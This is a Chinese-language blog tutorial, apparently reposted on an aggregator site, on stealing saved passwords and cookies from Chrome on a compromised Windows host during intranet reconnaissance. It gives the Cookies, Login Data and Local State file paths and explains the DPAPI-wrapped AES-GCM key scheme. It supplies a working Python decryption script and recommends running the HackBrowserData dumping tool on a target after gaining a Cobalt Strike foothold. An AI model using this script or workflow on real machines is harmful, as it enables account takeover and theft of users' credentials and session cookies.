chrome浏览器cookie及密码解密 您所在的位置:网站首页 获取chrome保存的密码 Login Data chrome浏览器cookie及密码解密

chrome浏览器cookie及密码解密

2024-04-25 20:48| 来源: 网络整理| 查看: 265

chrome浏览器cookie及密码解密

写在前面:在我们进行内网信息收集的时候,控制了一台windows主机,一定需要继续进行信息收集,目标主机的浏览器中缓存的账户名,密码,浏览历史也是我们收集的重点之一,本文主要是介绍如何通过我们在目标主机上找到的chrome文件来获取用户的密码、cookie。

chrome中的敏感文件位置

当chrome=80.x时使用的是AES-256-GCM的AEAD对称加密。本文主要是讲chrome如何实现此加密算法。

首先我们得清楚,在chrome中的敏感文件存储的位置。

chrome的cookie存储的位置是

1C:\Users\Thinkpad\AppData\Local\Google\Chrome\User Data\Default\Cookies

chrome的浏览器历史文件History存储的位置是

1C:\Users\Thinkpad\AppData\Local\Google\Chrome\User Data\Default\History

chrome的登陆账号密码文件Login Data文件存储位置是

1C:\Users\Thinkpad\AppData\Local\Google\Chrome\User Data\Default\Login Data

chrome中存储加密key的位置是

1C:\Users\Thinkpad\AppData\Local\Google\Chrome\User Data\Local State

其中Cookies、History、Login Data是SQLite3文件,其中大部分文件是可以直接看见的,对于具体cookie值和账号密码是使用encrypted_value、password_value来进行存储具体存储形式见下图

在此处我们先来了解下密文的格式。在密文的前三个字符是v10(chrome的cookie都是用的此加密开头),在后面的

12个字符是nonce,在之后的才是真正的密文

而Local State则是一种json格式的文件

其中os_crypt的encrypted_key的值中保存着需要用到的解密密钥。

具体加密过程

这里是chrome的具体加解密文件。

变量含义

1、密钥存储的json位置

2、密钥的长度

3、nonce的长度

4、最后密文的版本前缀

5、对key的加密算法前缀

具体代码:

1、其中执行的核心代码是

即申请一个静态变量encryption_key

2、初始化key

初始化key的具体步骤:

随机生成kKeyLength长度的key–>用dpapi加密key–>key的最前面添加’DPAPI’–>base64编码key–>保存进json文件

3、随机生成kNonceLength长度的nonce

4、将nonce插入到密文的前缀(这就是我们看见的那十二个字符的nonce)

5、将版本号插入到密文的前缀

最后在看下整个加密流程

解密流程

使用之前请安装

pip install cryptography

此python脚本在windows下运行

1234567891011121314151617181920212223242526272829303132333435import base64from cryptography.hazmat.backends import default_backendfrom cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modesdef dpapi_decrypt(encrypted): import ctypes import ctypes.wintypes class DATA_BLOB(ctypes.Structure): _fields_ = [('cbData', ctypes.wintypes.DWORD), ('pbData', ctypes.POINTER(ctypes.c_char))] p = ctypes.create_string_buffer(encrypted, len(encrypted)) blobin = DATA_BLOB(ctypes.sizeof(p), p) blobout = DATA_BLOB() retval = ctypes.windll.crypt32.CryptUnprotectData( ctypes.byref(blobin), None, None, None, None, 0, ctypes.byref(blobout)) if not retval: raise ctypes.WinError() result = ctypes.string_at(blobout.pbData, blobout.cbData) ctypes.windll.kernel32.LocalFree(blobout.pbData) return resultencrypted_txt = base64.b64decode('djEwS/5dxDCXaTsRRJkiZohykDrUJ3sbhd6liWO98+4GmGdA7RJ3GXw=')//原始数据的base64编码形式encoded_key = 'RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAACndkJq2ysFTriHlfW0nUWtAAAAAAIAAAAAAANmAADAAAAAEAAAAKC1hRGlISNIKzcIVQIfSiIAAAAABIAAAKAAAAAQAAAA6Nq3v8LZfNmbwZi0krzKBCgAAACZD/ab6dhDiCscPTusjXTYmT9Ht/ohQNIQ6WG+VYPjyDZasXsxbNbmFAAAAJ4WfytFybhjSIuPgxCzB9gvyLUc'//Local State中保存的encrypted_keyencrypted_key = base64.b64decode(encoded_key.encode())encrypted_key = encrypted_key[5:]key = dpapi_decrypt(encrypted_key)nonce = encrypted_txt[3:15]cipher = Cipher(algorithms.AES(key), None, backend=default_backend())cipher.mode = modes.GCM(nonce)decryptor = cipher.decryptor()result = decryptor.update(encrypted_txt[15:])print(result)

通过此方法就可以获得chrome下保存的密码了。

后记

在此处推荐一个个人觉得好用的dump浏览器密码的工具————–HackBrowserData

1234567891011121314PS C:\test> .\hack-browser-data.exe -hNAME: hack-browser-data - Export passwords/cookies/history/bookmarks from browserUSAGE: [hack-browser-data -b chrome -f json -dir results -e all] Get all data(password/cookie/history/bookmark) from chromeGLOBAL OPTIONS: --verbose, --vv Verbose (default: false) --browser value, -b value Available browsers: all|chrome|edge|firefox (default: "all") --results-dir value, --dir value Export dir (default: "results") --format value, -f value Format, csv|json|console (default: "json") --export-data value, -e value all|cookie|history|password|bookmark (default: "all")

此工具是用go写的,所以可以直接生成windows下的exe文件,当我们cs上线目标后,在目标主机上运行此文件就可在同目录下生成账户密码和cookie了,此exe文件6.1M。

参考文章

1、Chrome浏览器Cookie及密码解密的分析过程及Java实现(Windows平台下v10及以上Cookie文件encrypted_value及Login Data文件password_value的解密

2、Chrome 80.X版本如何解密Cookies文件



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有